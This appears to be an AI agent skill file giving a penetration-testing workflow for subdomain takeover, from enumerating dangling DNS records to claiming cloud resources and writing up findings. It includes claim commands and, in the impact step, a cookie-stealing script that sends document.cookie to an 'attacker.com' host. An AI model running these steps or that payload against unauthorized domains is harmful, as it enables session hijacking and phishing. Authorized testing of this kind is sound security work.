exploiting-subdomain-takeover-vulnerabilities
$
npx mdskill add xalgord/xalgorix/exploiting-subdomain-takeover-vulnerabilities- During authorized penetration tests when subdomain enumeration reveals CNAME or A records pointing to external services - When cloud service endpoints return "not found" or "no such bucket" error pages - For assessing organizations with large subdomain footprints (100+ subdomains) - When evaluating DNS hygiene and decommissioned service cleanup - During bug bounty programs where subdomain takeover is in scope
SKILL.md
.github/skills/exploiting-subdomain-takeover-vulnerabilitiesView on GitHub ↗
---
name: exploiting-subdomain-takeover-vulnerabilities
description: Identifying and exploiting dangling DNS records pointing to unclaimed cloud services, enabling subdomain takeover for phishing, cookie stealing, and authentication bypass during authorized penetration tests.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- subdomain-takeover
- dns
- cloud-security
- web-security
- bug-bounty
version: '1.0'
author: xalgord
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- DE.CM-01
---
# Exploiting Subdomain Takeover Vulnerabilities
## When to Use
- During authorized penetration tests when subdomain enumeration reveals CNAME or A records pointing to external services
- When cloud service endpoints return "not found" or "no such bucket" error pages
- For assessing organizations with large subdomain footprints (100+ subdomains)
- When evaluating DNS hygiene and decommissioned service cleanup
- During bug bounty programs where subdomain takeover is in scope
### How to CONFIRM a Hit (avoid false negatives)
- **Positive signal**: the dangling CNAME/resource is **actually claimable** AND you serve your own content on it — confirm by claiming the resource with a **benign canary** and fetching the subdomain to see your marker, or by the third-party returning its specific **unclaimed fingerprint**.
- A `404` or generic error is NOT proof. Many services return 404 while still being owned/unclaimable; match the **exact service fingerprint** from `can-i-take-over-xyz`.
- Do NOT conclude "vulnerable" (or "safe") until you have:
- Resolved the **full CNAME chain** (`dig +short CNAME`) — any hop could be the dangling one, and intermediate hops can mask the real target.
- Matched the response against the **service-specific fingerprint** (NoSuchBucket, "There isn't a GitHub Pages site here", "No such app", Fastly/Shopify/Surge strings) rather than relying on status code alone.
- Verified the service **actually allows claiming** that name now (some "vulnerable" fingerprints are no longer registrable — e.g. modern Azure/AWS require domain verification).
- Performed the **benign canary claim** and confirmed your content is served over the real subdomain, then documented and cleaned up.
- Assessed impact (cookie scope `.target.com`, OAuth redirect/CORS trust) so the finding reflects real risk, not just content control.
## Prerequisites
- **Authorization**: Written penetration testing agreement covering subdomain takeover testing
- **subjack**: Subdomain takeover checker (`go install github.com/haccer/subjack@latest`)
- **nuclei**: With takeover detection templates
- **can-i-take-over-xyz**: Reference database of takeover-vulnerable services
- **subfinder/amass**: For subdomain enumeration (prerequisite step)
- **dig/host**: For DNS record analysis
- **Cloud accounts**: AWS, Azure, GCP, Heroku, etc. for claiming unclaimed resources
## Workflow
### Step 1: Enumerate Subdomains and Collect DNS Records
Gather all subdomains and their DNS resolution data.
```bash
# Enumerate subdomains (should already be done in Phase 1)
subfinder -d target.com -silent -o subdomains.txt
amass enum -passive -d target.com -o amass-subs.txt
cat subdomains.txt amass-subs.txt | sort -u > all-subs.txt
# Resolve all subdomains and collect CNAME records
echo "=== CNAME Records ==="
while read sub; do
cname=$(dig +short CNAME "$sub" 2>/dev/null)
if [ -n "$cname" ]; then
echo "$sub -> $cname"
fi
done < all-subs.txt | tee cname-records.txt
# Check for NXDOMAIN responses (dangling records)
echo "=== NXDOMAIN / Dead Subdomains ==="
while read sub; do
result=$(dig +short "$sub" 2>/dev/null)
if [ -z "$result" ]; then
cname=$(dig +short CNAME "$sub" 2>/dev/null)
echo "DEAD: $sub (CNAME: ${cname:-none})"
fi
done < all-subs.txt | tee dead-subs.txt
# Check HTTP responses for takeover indicators
echo "=== HTTP Response Check ==="
httpx -l all-subs.txt -sc -title -server -o httpx-results.txt
grep -E "404|NoSuchBucket|There isn't a GitHub Pages|herokucdn" httpx-results.txt
```
### Step 2: Identify Takeover-Vulnerable Services
Match CNAME targets against known vulnerable service fingerprints.
```bash
# Automated takeover detection with subjack
subjack -w all-subs.txt -t 50 -timeout 30 -ssl \
-c ~/go/pkg/mod/github.com/haccer/subjack@*/fingerprints.json \
-o subjack-results.txt -v
# Nuclei takeover detection
nuclei -l all-subs.txt -tags takeover -severity info,low,medium,high,critical \
-o nuclei-takeover.txt
# Manual fingerprint matching
# Check each CNAME target against known vulnerable patterns
while read line; do
sub=$(echo "$line" | cut -d' ' -f1)
cname=$(echo "$line" | cut -d' ' -f3)
echo -n "$sub ($cname): "
response=$(curl -sk -m 10 "https://$sub" 2>/dev/null)
# AWS S3
echo "$response" | grep -qi "NoSuchBucket" && echo "VULNERABLE: S3 Bucket" && continue
# GitHub Pages
echo "$response" | grep -qi "There isn't a GitHub Pages site here" && echo "VULNERABLE: GitHub Pages" && continue
# Heroku
echo "$response" | grep -qi "No such app\|herokucdn.com/error-pages" && echo "VULNERABLE: Heroku" && continue
# Azure
echo "$response" | grep -qi "404 Web Site not found" && echo "POSSIBLE: Azure" && continue
# Shopify
echo "$response" | grep -qi "Sorry, this shop is currently unavailable" && echo "VULNERABLE: Shopify" && continue
# Fastly
echo "$response" | grep -qi "Fastly error: unknown domain" && echo "VULNERABLE: Fastly" && continue
# Pantheon
echo "$response" | grep -qi "404 error unknown site" && echo "VULNERABLE: Pantheon" && continue
# Tumblr
echo "$response" | grep -qi "There's nothing here\|tumblr.com" && echo "POSSIBLE: Tumblr" && continue
# Unbounce
echo "$response" | grep -qi "The requested URL was not found on this server" && echo "POSSIBLE: Unbounce" && continue
# WordPress.com
echo "$response" | grep -qi "Do you want to register" && echo "VULNERABLE: WordPress.com" && continue
# Surge.sh
echo "$response" | grep -qi "project not found" && echo "VULNERABLE: Surge.sh" && continue
# Fly.io
echo "$response" | grep -qi "404 Not Found.*fly" && echo "VULNERABLE: Fly.io" && continue
# Netlify
echo "$response" | grep -qi "Not Found - Request ID" && echo "POSSIBLE: Netlify" && continue
# Zendesk
echo "$response" | grep -qi "Help Center Closed\|Zendesk" && echo "POSSIBLE: Zendesk" && continue
echo "NOT VULNERABLE or unknown service"
done < cname-records.txt
```
### Step 3: Verify and Exploit Takeover (Service-Specific)
Claim the unclaimed resource on each vulnerable service.
```bash
# === AWS S3 BUCKET TAKEOVER ===
# If CNAME points to: targetbucket.s3.amazonaws.com
# And response is: NoSuchBucket
# Create the bucket in the same region
aws s3 mb s3://targetbucket --region us-east-1
# Upload proof page
echo "<html><body><h1>Subdomain Takeover PoC - Authorized Test</h1>
<p>This subdomain (SUBDOMAIN) was taken over during an authorized penetration test.</p>
<p>Tester: YOUR_NAME | Date: $(date)</p></body></html>" > index.html
aws s3 cp index.html s3://targetbucket/index.html --acl public-read
aws s3 website s3://targetbucket --index-document index.html
# Verify takeover
curl -s "http://SUBDOMAIN.target.com"
# === GITHUB PAGES TAKEOVER ===
# If CNAME points to: org.github.io
# Create repo named "org.github.io" (or matching CNAME)
# Add CNAME file with the subdomain name
# Push index.html with PoC content
# === HEROKU TAKEOVER ===
# If CNAME points to: appname.herokuapp.com
heroku create appname
# Deploy PoC page
echo "<h1>Subdomain Takeover PoC</h1>" > index.html
git init && git add . && git commit -m "poc"
git push heroku main
# === AZURE TAKEOVER ===
# If CNAME points to: appname.azurewebsites.net
# Create Azure Web App with matching name
az webapp create --resource-group myRG --plan myPlan --name appname
# === SHOPIFY TAKEOVER ===
# If CNAME points to: shops.myshopify.com
# Create a Shopify store and add the subdomain as custom domain
# === GENERAL VERIFICATION ===
# After claiming, verify the subdomain resolves to your content
curl -sI "https://SUBDOMAIN.target.com" | head -10
curl -s "https://SUBDOMAIN.target.com" | grep "Takeover PoC"
```
### Step 4: Assess Impact and Escalation Potential
Determine the real-world impact beyond just content control.
```bash
# === COOKIE SCOPE ANALYSIS ===
# Check if parent domain sets cookies visible to subdomains
curl -sI "https://target.com" | grep -i "set-cookie"
curl -sI "https://www.target.com" | grep -i "set-cookie"
# If cookies are set for .target.com (dot-prefix),
# the taken-over subdomain can READ and STEAL them
# === SESSION HIJACKING VIA COOKIE THEFT ===
# If parent domain cookies scope to .target.com:
# Deploy JavaScript on taken-over subdomain:
# <script>document.location="https://attacker.com/steal?c="+document.cookie</script>
# === SPF/DMARC BYPASS CHECK ===
# Can the taken-over subdomain send emails as target.com?
dig TXT target.com | grep -i "spf"
dig TXT _dmarc.target.com | grep -i "dmarc"
# If SPF includes the cloud service IP ranges, emails from
# the taken-over subdomain may pass SPF validation
# === OAUTH/SSO REDIRECT CHECK ===
# Check if any OAuth flows use the taken-over subdomain as redirect_uri
# This could enable authorization code theft
# === CORS ORIGIN CHECK ===
# Test if the main application trusts the taken-over subdomain
curl -sI -H "Origin: https://SUBDOMAIN.target.com" \
"https://api.target.com/data" | grep -i "access-control"
# If Access-Control-Allow-Origin reflects the subdomain → data theft possible
```
### Step 5: Documentation and Cleanup
Document findings and clean up claimed resources.
```bash
# Take screenshots for proof
# Screenshot of DNS record showing CNAME
dig CNAME SUBDOMAIN.target.com
# Screenshot of taken-over page
curl -s "https://SUBDOMAIN.target.com"
# After reporting, CLEAN UP:
# S3: aws s3 rb s3://targetbucket --force
# Heroku: heroku apps:destroy appname --confirm appname
# GitHub: Delete the repository
# Azure: az webapp delete --name appname --resource-group myRG
```
## Key Concepts
| Concept | Description |
|---------|-------------|
| **Dangling CNAME** | DNS CNAME record pointing to an unclaimed or decommissioned cloud service |
| **Subdomain Takeover** | Claiming an unclaimed cloud resource that a subdomain's DNS points to |
| **NXDOMAIN** | DNS response indicating the target hostname does not exist |
| **Cookie Scope** | Cookies set for `.domain.com` are accessible to all subdomains |
| **DNS Rebinding** | Related technique — changing DNS resolution to bypass same-origin policy |
| **Stale DNS** | DNS records that remain after the underlying service is decommissioned |
| **CNAME Chain** | Multiple CNAME hops where any link in the chain could be vulnerable |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **subjack** | Automated subdomain takeover vulnerability checker |
| **nuclei** | Template-based takeover detection across 50+ services |
| **can-i-take-over-xyz** | Reference database of vulnerable services and fingerprints |
| **dnsreaper** | Subdomain takeover tool supporting multiple DNS providers |
| **subzy** | Fast subdomain takeover checker with fingerprint database |
| **dnsx** | Fast DNS resolution toolkit for bulk lookups |
| **httpx** | HTTP probing with response fingerprinting |
## Common Scenarios
### Scenario 1: Decommissioned S3 Bucket
Company migrated from S3 to CloudFront but forgot to remove the CNAME `assets.target.com → target-assets.s3.amazonaws.com`. The bucket was deleted. Attacker creates a new bucket with the same name and serves malicious content on assets.target.com.
### Scenario 2: Expired Heroku App with Cookie Theft
`staging.target.com` pointed to a deleted Heroku app. After takeover, the attacker deploys a cookie-stealing page. Because the production app sets cookies for `.target.com`, visiting `staging.target.com` exfiltrates session tokens.
### Scenario 3: GitHub Pages Takeover for Phishing
`docs.target.com` CNAMEs to `targetorg.github.io`. The GitHub org renamed, leaving the old name unclaimed. Attacker creates a repo matching the old name and deploys a convincing login page for phishing.
## Output Format
```
## Subdomain Takeover Finding
**Vulnerability**: Subdomain Takeover via Dangling S3 CNAME
**Severity**: High (CVSS 8.1)
**Location**: assets.target.com
**DNS Record**: CNAME → target-assets.s3.amazonaws.com (NoSuchBucket)
### Reproduction Steps
1. dig CNAME assets.target.com → target-assets.s3.amazonaws.com
2. curl https://assets.target.com → "NoSuchBucket" error
3. Created S3 bucket: aws s3 mb s3://target-assets
4. Uploaded PoC: aws s3 cp index.html s3://target-assets/ --acl public-read
5. Verified: curl https://assets.target.com → PoC page served
### Impact
- Full content control of assets.target.com
- Cookie theft: parent domain sets cookies for .target.com (session hijacking)
- Credible phishing page on legitimate subdomain
- Potential CORS trust: api.target.com reflects assets.target.com as allowed origin
### Recommendation
1. Remove the dangling CNAME record from DNS immediately
2. Audit all DNS records for stale/unused entries monthly
3. Implement DNS monitoring for NXDOMAIN responses on owned subdomains
4. Use wildcard CNAME records cautiously — prefer explicit records
5. Set cookie scope as narrowly as possible (avoid .domain.com wildcards)
```